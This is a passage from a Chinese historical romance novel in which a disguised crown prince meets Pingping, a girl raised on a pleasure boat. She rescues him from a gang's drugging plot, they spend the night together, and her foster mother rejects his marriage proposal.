柳湛怕胸口又被摸，已向后连退两步，她突然来锁他的目光，他脸更红，再退一步，小娘子急忙提醒：“小心！” 柳湛才发现退多了，要掉到江里，幸亏功夫不错，晃两下站稳，却发现小娘子脸色骤黯，似还有几分伤心，转身一言不发要走，柳湛急忙拦住：“我明白的，多谢小娘子指点。”他稍微弯腰弓背，放低姿态：“我这人反应有点慢，你莫嫌弃，要是生气了，我向你赔罪。” 小娘子低着脑袋，怯生生回：“我以为你嫌弃我了……” 柳湛愕然，正回想提酒小哥言语，小娘子就主动告知：“我们是船上行院。” 虽然她暂时不是，但养育她的姨们都是。 柳湛一笑，面上不见丝毫鄙夷：“那又如何，不都一个鼻子两只眼，一样的人。” 小娘子闻言抬首，仰望柳湛，眼眶微热。 柳湛笑道：“我俩聊了这么久，还没问你怎么称呼？”他脸方才白一点又开始红，主动先交待：“我叫阿湛。” “你也没有姓么？”小娘子反问。 柳湛一愣，小娘子望向江面：“我叫萍萍，他们说就是这江上青萍，随波逐流。” “怎么会呢？”柳湛旋即接口，反问，“你知道青萍是一把剑吗？” 萍萍扭头对视，没听说过。 柳湛笑看着她：“她是与干将齐名的上古宝剑，才不是无根漂浮之物。” 第94章 第九十四章 除夕快乐！ 萍萍仰着脖子， 一直定定看着柳湛。柳湛脸重烫起来，刚别过头，就听萍萍问：“你用过午膳了吗？” “啊？” 萍萍淡定仰头， 瞟一眼天：“已经过午时了。” “还没。” “我请你吃一顿吧。” “好啊！”柳湛并未拒绝， 但追问， “为什么要请问我？” 萍萍已经往码头外走，柳湛追赶，寸步不离。萍萍道：“因为你方才青萍那句话打动了我， 士千金酬知己， 我没有千金，只能请你吃一碗汤饼。” 周遭上下船， 卸货吆喝，划桨喊号，还有不断的男欢女爱，靡靡之音，柳湛却只听见萍萍声音，愣住顿足，继而快步重追上萍萍。 码头附近三家汤饼摊紧挨， 皆支挑子， 萍萍径直走向最左那家， 扭头问柳湛：“这家汤饼还不错。你看看， 想吃哪种臊子？” 各色臊子都写在一块牌子上，灶里飘出来的白烟热气萦绕，柳湛看着牌子说：“你吃什么我就吃什么。” “来两碗小排面。”萍萍掏钱先付， 和柳湛坐到空桌边。面不一会端过来，萍萍从筷桶里抽两双筷子，递他一双， 柳湛道了谢，夹起一筷：“我发现江南人都喜欢吃这种细面。” 萍萍吃一口，反问：“你京师人吧？” “你怎么知道？” “官话说得这般好，肯定是东京来的。”萍萍回想柳湛声音，青 春年少却富有磁性，还不良，听得人心动，萍萍想多了就耳根烧红。 “你以后要学会藏事，三思后言，”她叮嘱，“扬州这地鱼龙混杂，不要待人太诚恳，事事交底容易受骗。” 柳湛低头一笑：“我想着‘诚者天道，思诚以人’。” 萍萍知道这是《孟子》里的话：“话没有错，但这世道哪能践行……对了，你为何非要寻那位太医？” “因为我嬷嬷中风了，令太医是当世治中风第一块招牌。” “嬷嬷是指？” “是我外祖母。” “东京人称呼外祖叫嬷嬷？” “不是，”柳湛摇头，“她是抚州人，这是抚州称呼。” 萍萍点头：“城南多贵，你可以先往城南寻。我们的花船上来来往往，亦有许多贵人，令文佐对吧？我拜托她们打听，我也帮着问，一有消息就告诉你。” 柳湛闻言一直盯着萍萍，这回换她脸红心跳，不好意思偏过头去。柳湛笑道：“你不也践行了‘思诚以人’么？方才路见不平，泼水相助，这会又竭尽全力帮我。” 萍萍刚想回哪有说人“泼水相助”的，就听柳湛缓慢柔声：“不管哪一件事，都多谢娘子。” 他的声音因磁性而缱绻，柔情万千，萍萍想看又不敢看，挑起眼皮飞快瞥了眼柳湛的脸，又垂耷眼皮，心如小鹿乱跳。 怎么办？脸也好看。 偏巧这时有人从后搭上萍萍肩头，她吓得一哆嗦，来人是位二十出头的小娘子，桃袄翠裙，眺着柳湛问萍萍：“哟，萍萍，这是谁呀？” 萍萍心虚得想去捂小娘子的嘴，低着头，拉小娘子袖角：“你小声点，是我刚认识的一位朋友。” 小娘子偏要囔囔：“刚认识就成朋友了呀？” 萍萍终于忍不住捂住小娘子嘴巴：“你要作甚么快去做！别在这我还要吃汤饼呢！” 小娘子几乎被萍萍推出去，无奈道：“好好好，我去找红莲和妙妙，不耽误你——” 尾音故意拖长，惹得萍萍脸和身子都愈红愈烫，感觉好像凉不下来了，等小娘子走了她回身看柳湛，发现他虽然一言不发，但两颊也一直在飞绯云，仿若涂了胭脂。 “不好意思刚才我有点凶。”萍萍的声音嗡嗡，像蚊子。 柳湛亦嗡声，低头：“不凶。” 萍萍喘不上气，完了脸好像更红了，像正烧透的炭，她恨不得拍两下自己的脸，迫使冷静。 想一直这么对坐胶粘，却又不晓得再聊些什么，萍萍思忖半晌，打破沉默：“方才那位是我朋友，在附近瓦棚扮副末色。” 柳湛“嗯”了一声，也不知道再答什么，少顷，闻着香味，欲盖弥彰地大喊：“好香啊！” 萍萍吸吸鼻子，像是酥油鲍螺的香味，扭头循香，果然，对面的点心铺子出炉正卖。 “那是酥油鲍螺，你吃过吗？” 萍萍见两碗汤饼都见底了，心想可以去吃酥鲍。市价贵，她平时都自己做，不在外面买，但如果阿湛没吃过就请他一个。 “听过，没吃过。” “京师不卖这个？”萍萍说着起身，往街对面点心铺子走。 “卖的，只是我父——”柳湛起身跟上，“只是我爹爹不吃酥油，所以家里不做。” 萍萍听见改口，以为他原先想文绉绉称呼父亲，不以为意，掏钱要买酥鲍，柳湛拦道：“我来吧。你请我吃汤饼，我请你吃这个。” 铺子里最大份是一食盒双层十八个，柳湛直接提了食盒，分萍萍一个，萍萍边吃边问：“你喜欢吃甜的吗？” 柳湛从小不允吃零嘴，压药才能吃盐渍梅子：“我喜欢酸甜口的。” “那这个只甜不酸。”萍萍刚想完了他估计不爱吃，就听柳湛大声惊叹：“唔、唔，这以后就是我最喜欢吃的甜点了！”他瞪着眼，手抓着酥鲍一直在点：“太好吃了！要不是刚刚汤饼吃饱了，我能一口气吃完十八个！” 萍萍吃惊大笑：“我认识的人里就一个跟你差不多年纪的，能吃这么多。” 柳湛闻言笑僵了下，心里有种莫名且陌生的膈应。 萍萍不察，继续问他：“你有二十了吗？” “十七。” “那你比他小。” 柳湛心里更不舒服了，竟敛笑问了句：“他比我大吗？” 这话颇有些傻了，比他小不就没他大吗？萍萍愣了下，解释道：“是我从小一起长大的伙伴，他和我一样也是行院生子，父不详，所以没有姓。他娘以前喜欢摇卦问事，希望回回占得吉利，就给他取名占利。以前算是朋友，这两年不太熟了，他和我们不同道，之前诓你二十两的三六，就是他手下。” 她这么长一番话说的都是别人，柳湛心里愈发不痛快，但自己也不知道为什么，既憋闷又疑惑。 “好了，酥鲍也吃完了，小官人快去寻人救命吧，那是要紧事！”萍萍笑看柳湛，心有两分不舍，但知人来人去，如云聚散，她贪恋地多看几眼他的俊逸面庞：“祝你一路顺利，今日就能找到令太医！也愿你嬷嬷早日康复！” 柳湛亦有一丝惆怅，但这趟南下是为了寻医：“呈娘子吉言，有缘再会。” “后会有期。”萍萍与柳湛道别后自回画舫。那副末色已多嘴提及柳湛，萍萍一回家，大家就围着她审问，缘何同年轻男子吃面，男子又是何来头。 萍萍逐一交待，同时叮嘱：“别让兰姨晓得这事。” 几位小娘子都点头：“知道。” 画舫里人多，不再议论，但只要出门，大伙必拿这事打趣萍萍。如此过去五日，众人走在街上，又说起萍萍那位当天认识的朋友。 “我说啊，萍萍，你别被男人骗了。” “是啊，他骗你一碗面呢！” “他不是骗子，”萍萍反驳，“他也请我吃了酥鲍。” “对对，人家还说你是宝剑呢！” “我们的萍萍哟，被一把剑迷住了——” 萍萍红脸抡拳，假装要揍她们，众女前跑，殊不知嬉笑打闹落入了一群地痞眼里，如花美眷，勾得他们心痒痒，挡路拦住。 诸女色变，转身要改道，地痞们顿时恼怒：“躲什么？又不是正经人家！”说着就上手拉住，要抱要亲，萍萍在后面瞧见，立马心急，撒丫朝这边跑，却忽听马蹄声响，一骑白马从她身后冲出，到地痞面前，一与马同色的白袍少年径直跃下，当街一个暴踢，再三、两拳将地痞全打趴。 诸女惊魂未定，呆望了一会才同少年道谢，萍萍也隔五、六步，怔怔望着他——认出是前些日子结识的阿湛。 而那群地痞早捂着伤处叫起来：“小官人，您无缘无故打我们作甚？” “她们不愿意，作甚动手动脚？”柳湛反问，“光天化日之下，罔顾王法，强抢民女？” “小官人您不知道，她们不是民女，都是婊。子，专门出来卖的。” “是呀，她们就是做这种生意的。” 萍萍听得心一痛，垂下双眸，却听柳湛朗声反驳：“管她是什么，不愿意就是不愿意！以后还这样，小爷我见一回揍一回。” 萍萍猛地抬头，三月春风，枝绿花香，他那条与发同色的墨带，打架的时候就在飘呀飘，现在依旧猎猎扬起。 她盯着他的发带出神，而后目光移下，对上柳湛的脸。他刚好也无意扫向这边，瞧见萍萍，旋即分唇。 两人都没说话，却禁不住朝向对方疾走，很快面对面只隔半身距离，中间插不进第三人。 “你寻到令太医了吗？”萍萍柔声询问。 柳湛脸红：“哪那么快，还在找。” “我这也没消息，有了消息告诉你。” “好。” 二人在街上说话，地痞们早溜走，诸女也让到一边。 街边酒楼的包厢内，一黑皮墨袍男子正隔着纱窗冷冷眺看。 那群地痞蹬蹬跑上楼，进门就道：“阿占，你方才瞧见没有？那小子下脚没轻没重，差点把我子孙根踢断！” “是啊，我们给你十两银子，能不能帮着出口恶气？” 地痞们说着奉上一锭银，黑皮少年收下银两，倚窗淡笑：“诸位放心，不给这个钱，我也会帮你们报仇。” …… 柳湛也就和萍萍说了一会话，她就和她的同伴回去了。他重新骑上马，慢行半晌，红脸才渐渐返白变凉，忽然有位不认识的，三十上下男子，骤从街边走出，拦在柳湛马前。 柳湛怕踏伤他，急勒缰绳。 男子低声询问：“小官人是不是在找令太医？” “你怎么知道？” “小的是令太医长随，听闻官人在打听，特地来寻。” 柳湛一喜：“太医在哪里？”他跃下马，“我有救人急事， 劳烦小哥引我速速去见太医。” 长随低头领路：“小官人且随我来。” 弯弯绕绕，竟回到江边。 柳湛发愣：“太医原来就住江边？” 自己找了五天，竟然回到第一天寻找的地方。 “太医不住这里，只是正同友人游江饮茶。”长随说着领柳湛上了一艘小船，内里桌椅茶几，似个会客厅堂，“小官人现在这里等一等，我去船宴上知会家主，喊他过来。” “多谢小哥。”柳湛躬身，“劳烦告诉太医，我家嬷嬷，他认识的，突然中风，急须他回京诊治。” “好的一定带到话。”长随给柳湛倒了一盏茶：“小官人也喝点茶，且等我。” 柳湛双手接过，喝了一口，再次道谢。长随关门离去，舟悠悠系在栓上，柳湛在舱内坐等太医，心不静，等得焦急，时不时呷一口，不知不觉一盏饮尽，自斟第二盏，渐喝半壶。 离去的长随钻进隔壁双层画舫，里面却并非令太医，而是黑皮男子并一众地痞，令有几名姿色上佳的行院侍奉。 长随瞬间换作狞笑：“人已经进舟里了，茶也喝了一口。” “还是阿占聪明！”地痞应声夸赞，“待会八个壮汉玩小倌，舟往江上一飘，他跑都跑不了，只能被玩死。” “那也不一定，”黑皮男子笑道，“兴许他面皮薄投江了呢？” 舱内众人闻言都哈哈大笑。 黑皮男子再叮嘱：“一口茶恐还有神智，再往那屋内吹些催情香，并把窗户反锁关紧，免得他破窗。” “要说做事还是阿占最稳妥！” “是啊是啊！就跟着阿占混了！” 黑皮男子听见众人夸他，噙笑抬臂，手勾住跪在膝边的行院脖颈，将佳人拉进怀中。 空气中脂粉香浓，桃色帷幔轻摇。 …… 隔壁船上，柳湛发现自己有些晕船。 是不是这舟太小的原因？ 南下坐那种大船平稳些，就不晕。 萍萍钻进舱里，柳湛昏沉沉问：“你怎么来了？” 萍萍不由分说扣上柳湛手腕：“快走！” 她刚才瞧见占星的手下衔着芦苇管，往舱里吹香，肯定没安好心。 柳湛起身，才抬步就左右晃，是不是浪太大了？ 萍萍却瞅见窗外码头上，两列魁梧恶汉正直直朝这边走来，里面有个她认得的，出了名的好男风，爱虐小倌。萍萍瞬间全明了，松开柳湛的手去解栓绳，抛开，小舟旋即离岸顺风飘向江心。 柳湛全程发懵：“怎么又不走了？” 他扭头看的是面对江心的窗：“船开了吗？” 已经完全忘记在等太医，只觉这舱里特别热，像在蒸笼里。他伸手推窗想吹凉风：“怎么打不开？” “打不开的！”萍萍拉下他的手，占星吹了香都会反锁窗户。 柳湛忽觉腕上一凉，浑身依旧滚烫，独与她肌肤相贴处抚平燥热。 他不由自主朝着萍萍倾身，想要更多清凉。 柳湛睁大眼，一眨不眨盯着她，大口喘气。 少顷，他突然抽手，抬起胳膊扇了自己一巴掌，清脆响亮。 “你做什么？”萍萍话急得从嗓子眼蹦出来。 柳湛想将视线很从她脸上移开，却不能自控，只得不住摇头：“我不能。” 他竟起了非礼她的心思，还是人吗？ 萍萍脑袋昏昏，心里痒痒，她猜自己多半也吸香了，再次拉住柳湛的手：“我愿意的。” 柳湛僵了良久，这回没抽开，反而反手握住她的手，五指慢慢穿过她指缝，原来这就是十指紧扣啊，感觉这般好。 他想着，牵起萍萍另一只手，也穿过指缝握紧。 舱内静谧无声，船外江水悠悠。 “我可不可以亲你一口？就一口。”柳湛痴痴地问，接着脑袋一摆，“对不起不该问这样的话，你骂我！” 他又要抽手，萍萍怕他自扇，急忙摁住，两人本来就离得近，她往前一凑，唇就主动贴上他的唇。 其实她肌肤也开始发烫，柳湛却觉萍萍的唇柔软又清凉，他很想伸舌头，却忍着，只沿着她的唇一点点贴着亲，如蜻蜓一下下点水。萍萍伸了下舌尖，柳湛立马问：“可以吗？” 萍萍再探入些，卷起来，无声回答他，柳湛喜得一合唇，萍萍含糊囔囔：“唔——你牙齿咬到我了！” “对不起对不起！” 柳湛接下来亦是毛手毛脚，关键时刻找了许久都找不对，但真探索起来，他很温柔，不住询问调整，萍萍都没觉着疼。她平常听船上的阿姊和姨母们讲，做那事如同侍诏制扇，扎糊画晒，一套流程纯凭技巧，上工是没有乐趣的，她今日亲身经历，却发现明明水乳。交融，这般欢心，从脚心高兴到心口。 衣衫散落满地，柳湛的白袍上面绽开一朵梅花。 第95章 第九十五章 议亲 清晨， 天空放白。 柳湛先醒，睁眼就见萍萍温热软滑的身子贴着自己胸口，她散开的青丝像折扇一样在地上铺展， 窗格透进来的光线丝丝缕缕照在发丝上。 柳湛觉着怀中佳人连头发都是香香甜甜的， 情不自禁翘起嘴角， 想亲一亲她的发丝，却又怕叨扰萍萍美梦。 他就盯着自己和她交缠的几缕发丝，悄笑。 世上怎么会有这么美好的事情？昨晚好像进了桃花源， 想一辈子待在里面， 永远不分开。 萍萍就在这时醒来，迷迷糊糊中， 记挂着后半段两人都清醒了，她给他说船是圈套，屋内有迷香，说得他一愣一愣，一脸不可置信。萍萍眼还没来得及睁，就皱眉开口：“你以后千万要多长点心，不要别人说什么就信什么。” “好。”柳湛笑应。她醒了， 他终于敢捧起她的头发亲一口。那朱唇轻启， 每个字都犹如吟唱乐曲， 江南少女的嗓子都这么甜糯糯， 脆生生？ 柳湛凑近，气息一阵阵拂过萍萍耳朵：“有没有人说过你声音很好听？” 萍萍睁眼，凝睇柳湛周正眉眼， 他的薄唇又软又红，棱角分明，鼻梁挺拔， 是她见过最好看的鼻子。萍萍禁不住抬起双臂，欢喜搂住他的脖颈。 柳湛摸了把她的脸：“你又搂我脖子。” “你不喜欢吗？”萍萍明知故问，昨晚一切都是新鲜的，他们一起探索，钻研。学而时习之，不亦说乎？ 她晓得了他喜欢被搂脖颈，被吻喉结，还喜欢她摸他耳后那颗小痣。 他也清楚她的，抓着她的腰抬起腾空，再轻轻放于腰间，睹见她满意得撩唇挑眉，星眸流转，袅袅婷婷倾身俯视。 她的眼神就像一罐蜜，视线落在哪里，蜜就滋在哪里，不一会，柳湛就浑身上下无一处不甜蜜蜜，情不自禁牵起她的手，在手背印下膜拜一吻。 萍萍却猛地抓住柳湛的手，端详手背红肿破溃处，睁圆杏眼：“你手怎么了？” 柳湛瞟一眼，哦，他昨晚怕她后脑勺撞到地上，始终用自己的手托垫，四个凸起的掌骨全磨破皮。 柳湛淡道：“不碍事，又不疼。” 说的真话，从昨晚到如今，就是一点不觉疼。 他打量她的鬓角、额头、鼻子、脖颈，甚至一个勾紧的脚趾都勾得他想吻她，但还是忍住，怕破皮的手污了她，换另一只手牵住。记得萍萍说过生父不详，柳湛便只提岳母：“泰水何时有空，允我见一见？” 萍萍垂眸轻道：“我娘已经去了很久了。” 他把她抱紧：“对不起。” 半晌，见她神色间黯淡稍退，才敢小心翼翼继续询问：“那你家中可还有长辈？待我回去禀过父母，就上门提亲。” 萍萍心一沉，完全没底气：“你爹娘会答应吗？你……究竟知不知道我出身？” 柳湛面不改色：“知道。” 她之前提过数回，旁人也说过。 萍萍还是把自己的身世再次详细告知，她娘亲从前是名官妓，后来辗转沦落花船，明明服食过绝子药，却不知怎地还是有了萍萍。 萍萍娘亲饱受摧残，伤了身子，早早病故，将时年九岁的萍萍托付给自己的金兰姐妹，一位名唤秀兰的行院。 秀兰待萍萍宛若亲女，十分呵护，只让她在舫内打杂，不做行院，不卖艺也不卖。身。如今码头上花船分成两派，一派为占利掌控，另一派则是秀兰的势力，所以平时也没什么人敢明目张胆欺负萍萍。 萍萍讲完，仰头问柳湛：“你来提亲，是要纳我做妾还是通房？” “怎么这样讲？”柳湛笑容僵住，须臾，一脸严肃对视萍萍，“提亲提亲，当然是过三书六礼，做正头娘子。” 萍萍心头一热，眼红泪溢。 花船里的姨姨阿姊总叮嘱，不要相信男人的承诺，那都是为了哄骗女人身子随口诓的，不会兑现，做不得数。 她们还给萍萍举过几个过往例子，证明天下乌鸦一般黑，无论哪个男人，床。上的话都不能信。 萍萍那时头点似鼓，那几个承诺一听就假大空，但凡有脑子就不会信，她也不明白几位娘子彼时为何傻傻相信，徒受情伤。 可今天，真有一个男人对她说了，亲耳听进心里，才发现甜言蜜语如此动人，抵挡不住。 明明知道阿湛的许诺不切实际，多半是冲动，还是想去相信他。 萍萍默默对自己说，倘若他真的做到了娶她为妻，那这辈子不管发生什么事，她都会掏心掏肺，死心塌地对他好。 报君黄金台上意，提携玉龙为君死，情亦如是。 萍萍抬手抹眼泪，却发现有方帕子先一步擦拭她的眼角。 萍萍抬头，瞧见攥着绢帕，眉头紧拧，手足无措的柳湛。 “可是我、我哪句话说错了？”他有些懵，不知道为什么她突然就哭了，又觉这眼泪一滴滴都让自己肝肠寸断。 “不是你的原因，是我自己。”萍萍吸吸鼻子，“我这样的出身，做寻常人家的正妻都难。”她凝视柳湛，哽咽了下，“你知道吗？我们花船上最高兴，最喜欢看的就是迎亲，因为这时候总会有一位娘子脱离苦海，做回良家子。” “我快十七岁了，一共见过九位被迎走，都是做妾，做外室。” “哪怕死了几任娘子的鳏夫，也不愿明媒正娶她们。曾经有个头发花白的员外，要扶正一位姐姐，可他家里子女闹起来，死活不肯，最后还是没成。 “我们花船上，还没有一位是娶回去做正妻的。” 柳湛揽着她，直脖挺背，朗朗少年音：“那我就做第一位。” 完了，萍萍哭得更厉害了。 他愈发无措，手脚仿佛不是自己的，不知如何安抚，寻思许久，小心翼翼解释：“你相信我，我不嫌弃你，你说这些我只觉得心疼。而且你不要自己想出一些不存在的困难阻碍，我爹娘十分开明，疼爱我还来不及，他们一定不会阻拦。”柳湛思及家里，不禁浮笑，父爱母敬，子安家和，天下莫如是。他眼睛亮堂堂，“我嬷嬷肯定也会很喜欢你。” “而且呀，我家也没有你说的那么复杂，我只有过你一个，不可能有子女，家中只有嬷嬷、爹娘，和我弟这么几个人，回去他们只会像对我一样对你好。嬷嬷当你孙女，爹娘待你如女儿，阿弟尊你作长嫂。” 萍萍吸鼻子：“你还有弟弟？” “有一个，今年十一岁了，却还是个小淘气鬼，一见人就缠着叽叽喳喳，我一看到他来就想跑，怕吵……” “你还怕吵呢？”萍萍破涕为笑。 只要她能重绽笑颜，柳湛愿意出丑，挠挠脑袋：“是啊，我就够啰嗦了，他比我还唠叨。” 萍萍却忽记起别的事，蹙眉敛笑：“对了，你是来寻医救人的，现在却被我的事耽误，那你嬷嬷……” “是我俩的事。”柳湛坐起，握住她一双胳膊，含笑纠正。 “放心吧，我记着找令太医，双管齐下，都不耽搁。”他顿了顿，“而且我们已经有了夫妻之实，我要不去提亲才是真耽误你。” 始乱终弃，与野兽何异？他做不出来那样的事情。 “是因为有了夫妻之实你才娶我吗？”萍萍却紧接着追问。 柳湛忙摇头：“不不，不仅是床闱，”他一说这个就红脸，下意识想偏头，躲避萍萍目光，却想他的小娘子患得患失，他不能避，一定要给予她坚定的回应。于是柳湛直视萍萍两眼，语气至诚：“你样样令我称心如意，我的妻子和该是你这样。” 讲着讲着他又自个红脸，却一定要平视萍萍，一眨不眨，话间也不要有停顿犹疑。 萍萍咬唇，似下定决心：“好，那我带你去见兰姨！” “好。”柳湛立喜，兼带两分忐忑，少顷又问，“我们怎么回去？” 透过窗外眺，他们正在江上飘。 “找桨。”萍萍说完手顿了下，“不对，先穿衣。” 柳湛本来已经开始帮找船桨，闻言才刚刚变淡一点的脸重新红透，连“哦”数声，手忙脚乱穿衣。 萍萍和他同时瞧见白袍上一点红，萍萍发窘：“完了，这袍子还穿得了吗？” “没事，”柳湛拾起玉带，绕腰穿好，“正好在腰这，可以遮住。” 那抹红的确瞧不见了，但萍萍盯玉带久了，不由遐想昨晚的劲腰，两颊发烫，不知道红了没有。 二人寻到桨，萍萍抱起刚要放入水中，柳湛夺过：“我来划吧，你昨晚辛苦了。” 萍萍确定这回脸是又烫又红了。 柳湛本来脸没红了，一看她的脸，也跟着红了。 小船渐渐划近江边，萍萍指导柳湛抛了锚绳，拴好船，他先跳到岸上，再扶她跨下船，口中一直提醒：“小心点，小心。” 生怕她掉到海里，萍萍落地前一霎他实在放心不下，索性将人抱下来。 萍萍双脚一落地就推他：“有人——” 柳湛放开她，改牵她的手，二话不说十指紧扣：“怕什么，反正我这趟是丑婿回娘家。” “谁是丑婿？”萍萍看向柳湛的脸，他要是丑全扬州城没俊俏儿郎了，心中欢喜，忍不住再多端详两眼。 柳湛却咧着嘴笑，大大咧咧答：“我呀！”他想了想，忽然变紧张，“不能空手去吧？兰姨喜欢什么？我去置办上门礼。” “不用她就在隔壁——”萍萍无奈，埋头就要牵着柳湛走，忽然发现眼前堵了人墙，走不动了。 下一刹，柳湛前迈，将她护在身后。 担心萍萍和柳湛不上岸，占利等人皆隐于暗处，此刻才现身，将二人围住。 占利肤黑，平常很难辨认面上颜色，此时却能清楚瞧出脸色铁青。他紧紧盯着萍萍，嘴角抽搐，继而转瞪柳湛，蜷曲五指，拳头握得死紧。 占利用力深吸吐纳，却怎么也压不住一股又一股，如江潮般争先恐后涌上来的愤恨和后悔，旁边的地痞们皆垂两臂，眼观鼻，鼻观心，大气不敢出。 他上回吓唬某位刚卖进来的小娘子，将她架到油锅上，还没真丢进去，那小娘子就答应迎客。这会占利却觉自己被丢进油锅，受一顿活煎。正忍耐思忖，柳湛偏还要回头问萍萍：“就是他下的迷香吗？” 占利再也忍不住，一拳抡向柳湛，他的拳头码头上没人受得住，柳湛却一手仍牵萍萍，只单手就将占利拳头兜住。 “天清日白的，就对人用下三滥手段，今日我定要好好教训你！”柳湛说完挥起两道掌风，毫不留情袭向占利 。他从小到大都是名师教功夫，稳扎稳打，只十几个来回，莫说占利败下阵，连带那一圈地痞也被打趴。 他还是个不会看眼色的，完全不在意趴在地上的占利正恶狠狠盯着，冲萍萍咧嘴，露一排皓齿：“走，去见兰姨！” 萍萍扯了下柳湛袖角，低头怯声：“她就在那里。” 柳湛扭头找了一圈，才发现岸边有近十位小娘子拥簇着一位三十出头的美妇，穿着灯笼纹的锦缎袄，头戴铺翠花冠，不知围观了多久。 美妇冷若冰霜，声亦如三九寒冰：“萍萍，你过来。” 萍萍立马乖顺往美妇身边走，就要抽手，柳湛旋即握紧，跟她一起手牵手走到美妇面前。 美妇一眼未瞥柳湛，只缓慢扫了下萍萍脖颈及以下，昨夜柳湛小心呵护，只颈上留下一个指甲盖大小，极浅淡的红印。 美妇抬手，啪地一声，狠狠扇了萍萍一巴掌，萍萍被带得偏头。 “你作甚打她？”柳湛立马挡在萍萍身前。 “阿湛别伤她！”萍萍急道，手上扯柳湛，要他让开。 美妇转头瞟了眼身边行院，行院会意，立即给萍萍端来一碗汤药。 “喝了。”美妇下令。 “这什么？你给她喝什么？”柳湛阻拦，萍萍却扒开他的手，接过一饮而尽。 “我平时都是怎么教导你的？”美妇转身要进画舫，“跟我回去。” 萍萍下意识抽手，这回从柳湛手上挣脱，他心一慌，拦在萍萍面前，亦单膝跪在美妇身后：“兰姨！”柳湛拱手昂头，“你就是萍萍说的兰姨吧？我和萍萍是真心相爱，我会回家禀过父母，三书六礼娶她做妻子，还望您成全！” 萍萍再次热气迷了眼。 兰姨瞧瞧她那不争气的样子，重重出了声鼻息。 此刻她才第1回 晲向柳湛：“你跟我来。” 领柳湛私下进入一艘当偏厅的小船，关上门后柳湛正要自报家门，兰姨就抢先嗤笑：“你们这种大官人小官人，我见得多了。想得简单，要么回去被父母关禁闭，指了贵女，将我女儿抛掷脑后。” “我不会的。”柳湛冲口否认。 兰姨再瞟他一眼，冷笑续道：“要么拼死拼活，甚至不惜叛出家门，也要娶我女儿。” 柳湛点头，是的一定要娶，但也不全对，他家里长辈不是不通情理的人。 “可你们这种从前没经历过男欢女爱，第一个女人便要死要活，殊不知只是少年义气，真把我女儿娶回去了，十年，二十年后呢？” 柳湛一怔：二十年后？自己还没想过。 兰姨勾着嘴角冷冷道：“甚至不用十年，就三年、五年，珍珠就成鱼目，你们又会为别的女人要死要活——” “我不会的。”柳湛不假思索打断，“不管多少年，我都只中意萍萍。” “话别说太早，真到那时，你心里想的只怕是——这辈子就这样一个女人，太亏了，也想尝尝别的滋味。”兰姨眼皮微动，她们从良最怕这类真心实意的少年，数年后注定面目不堪，矮个里拔长子，还不挑那些万花丛中过尽的浪客。 第96章 第九十六章 吾心不移 柳湛只听两句句， 就觉兰姨谬论，自己恨不得把整颗心捧给萍萍，怎会移情别恋？ 他忍不住想打断、驳斥， 但教养却让他克制下来， 等长辈说完。 渐渐的， 柳湛心平静了些，心想兰姨兴许遇到过始乱终弃的少年，才讲这番话。 于是， 待兰姨讲完， 柳湛启唇：“兰姨且请放心，我和他们不同。” 兰姨却压根不信他的表态：“我听她们说， 你在街上救过她们的命，算是有恩，不为难你，你走吧，以后再不要见我女儿。” 柳湛心一揪，如踏空般慌乱：“兰姨为何不信我？”他抿了下唇，“说句大不敬的话， 疑人者， 人未必皆诈， 您仅见我一面， 缘何悬断是非！” 为什么他以后不能再见萍萍？ 兰姨扫他一眼，淡道：“小官人一口京师官话，又口口声声要寻太医， 倘若我没猜错，家中定有人在朝为官，兴许就是小官人的爹爹， ”兰姨再次抬眼看向柳湛，笑问，“而且官衔还不小？” 她面上忽然浮起一抹毫不掩饰的浓烈轻蔑：“世家子，最薄情，小官人这样的门第，又怎会允我女儿进门？” “我爹爹没有做官。”柳湛直言，“他是当今官家，我姓柳名湛，是官家第六子。” “什么？！”兰姨万万没料到，失声惊呼。 柳湛以为她不信，续道：“我没有说大话，既然决定娶萍萍，我就不会骗你们。” 兰姨一手握拳置于胸口，另一手覆住拳头，官家第六子不就是本朝太子？ 她不住摇头，想了想，对着柳湛伏跪叩首，先三呼千岁，而后掌心与额头俱贴地：“殿下如此金贵，那就更不可能了，求殿下放过萍萍！” 柳湛连忙将她扶起：“您不要惊惧，我父皇常言民贵君轻，您们才是贵人。”他扬唇微笑，面上满满都是信心，“亲亲而仁民，我家里人不会看轻萍萍的。” 兰姨被搀的两只胳膊不自禁抖了下，不知眼前小殿下是真纯良天真，还是心思深沉，假仁假义？ 不管怎样，都绝非萍萍良配，兰姨横下一条心做恶人：“官家和殿下仁爱清明，爱民恤物，吾等蒲苇，愈发不敢攀附！殿下若真要强纳民女女儿，民女将投江一死阻拦！到时候母仇横隔，殿下和她还是不能！” 柳湛张目，既不解又难过，更兼数分愤怒：为什么要挟他？！ 柳湛胸脯起伏，想着眼前妇人抚养萍萍长大，萍萍视如亲母，那便也是他的长辈，才将质问斥责咽回肚里。 柳湛哽咽：“兰姨，求求您，别这样。” 他盯着她的发髻，她却始终不曾抬首：“民女听闻殿下这趟微服是要寻医，治病救人要紧，还是速去吧！还请殿下离开前不要告诉萍萍真实身份，求求殿下了！” 兰姨不住磕头，柳湛要再扶她就退后，继续磕，从前为讨恩客垂怜，学了不伤额头，却能声声脆响的技巧。 柳湛不知，听得面色越来越白，静伫良久，往后倒退。 兰姨余光瞥见柳湛靠近门边，立刻果决高喊：“来人！恭送小官人！” 许多行院龟奴进来，柳湛环视一圈找不到萍萍，身边诸人无一不似请实撵，催促他走，待柳湛离开许久，兰姨才出画舫转进另一艘小船。 临岸的窗子皆落竹帘，不叫船内萍萍瞧见柳湛离去。 兰姨眺向萍萍，叹道：“算了，齐大非偶。” 萍萍点头，一脸平静，心里却想，竹帘间有缝隙，她刚才还是瞧见了阿湛。 还是想跟他走，还是盼着他再来。 …… 柳湛离开江边，却并未离开扬州城，之后半月一直在城中寻找令太医，同时每晚都会抽时间来画舫对面，在萍萍上回请客的汤饼摊吃一碗汤饼。 各色臊子皆有尝试，江南的银丝面越吃越好味。 华灯初上，舫中欢歌笑语不断，亦有不少街边打酒坐误会柳湛，径直坐上他坐的条凳，斜歪着要贴上身，柳湛连忙站起远离，澄清绝无此意。 可仍有热情大胆的打酒坐表示，翩翩少年郎，不挣银子倒贴也愿意。 最后柳湛只好吃面的时候在桌上摆一把剑，才渐渐没了骚扰。 他的目光总是不受控移向那日离开的画舫，凝望再凝望，却一次都没瞅见萍萍。 倒是把与萍萍交好的副末色引来了，她屡次上船给贵人们演杂剧，都瞧见他。 “都说望夫石，没想到世间还有望妇石。”她说着在柳湛对面坐下。 